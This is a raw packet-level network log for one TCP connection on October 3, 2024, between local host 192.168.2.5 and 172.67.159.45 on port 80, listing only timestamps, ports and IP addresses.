Oct 3, 2024 05:02:59.336719036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336735964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336766005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336858034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336891890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336911917 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336925030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336940050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336958885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336972952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336992025 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337007999 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337023973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337038040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337057114 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337071896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337090969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337105036 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337140083 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337162018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337196112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337213993 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337227106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337241888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337276936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337347031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337378979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337395906 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337420940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337447882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337496042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337500095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337532997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337548971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337567091 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337580919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337620020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337632895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337666035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337682009 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337698936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337713003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337748051 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337754011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337802887 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337805986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337840080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337855101 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337872982 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337887049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337905884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337922096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337939978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337954044 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.337971926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.337989092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.338018894 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.424617052 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424634933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424659014 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424674034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424689054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424702883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424720049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424735069 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424750090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424765110 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424777985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424801111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424817085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424830914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424845934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424843073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.424861908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424926996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.424926996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.424926996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.424926996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.424926996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.424926996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.424926996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.424966097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.424981117 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425004959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425019979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425024033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.425035000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425057888 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.425081015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.425102949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425117016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425131083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425148964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.425183058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.425225973 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425240993 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425255060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425276041 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.425292969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.425374985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425390005 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425404072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425426006 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425425053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.425441980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425455093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.425457001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425471067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425486088 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425488949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.425529003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.425934076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425982952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.425995111 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426018953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426033974 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426053047 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426069975 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426075935 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426090002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426100969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426106930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426121950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426121950 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426136971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426145077 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426155090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426183939 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426206112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426244020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426259041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426273108 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426287889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426290035 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426302910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426307917 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426316977 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426333904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426369905 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426551104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426567078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426597118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426619053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426626921 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426632881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426647902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426662922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426664114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426677942 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426686049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426695108 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426709890 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426727057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426748037 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.426930904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426945925 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426961899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426976919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.426980972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427006006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427037954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427067041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427083015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427097082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427112103 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427115917 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427126884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427135944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427141905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427155018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427169085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427175045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427185059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427197933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427198887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427216053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427229881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427231073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427244902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427263975 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427290916 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427601099 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427615881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427630901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427644968 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427648067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427666903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427679062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427695036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427710056 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427712917 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427725077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.427735090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.427769899 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.428855896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.428905010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.428930044 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.428946018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.428976059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.428992987 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429003000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429018021 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429040909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429049969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429068089 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429089069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429168940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429183960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429198027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429214001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429214954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429238081 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429274082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429299116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429322958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429346085 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429367065 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429461956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429476976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429491043 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429507971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429526091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429702997 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429718018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429732084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429747105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429750919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429763079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429776907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429784060 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429792881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429819107 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429841042 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429857969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429896116 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429904938 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429912090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.429943085 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.429958105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.430046082 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.430061102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.430074930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.430089951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.430095911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.430104971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.430130005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.430136919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.430150986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.430181980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.430233002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.430247068 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.430262089 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.430277109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.430279970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.430291891 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.430305958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.430316925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.430347919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.516911030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517007113 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517041922 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517076969 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517128944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517142057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517142057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517142057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517142057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517162085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517178059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517213106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517215967 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517246962 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517266989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517276049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517297029 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517308950 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517323017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517340899 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517358065 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517388105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517390013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517424107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517438889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517456055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517473936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517489910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517505884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517522097 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517535925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517554045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517565966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517586946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517600060 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517621040 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517633915 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517667055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517673016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517708063 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517719984 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517740011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517755032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517786980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517843008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517872095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517891884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517903090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517915010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.517936945 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517968893 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.517971039 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518002033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518002033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518026114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518037081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518050909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518083096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518172979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518205881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518222094 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518239975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518251896 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518273115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518285990 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518306017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518318892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518338919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518352032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518372059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518388987 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518403053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518419981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.518436909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.518449068 CEST	49705	80	192.168.2.5	172.67.159.45
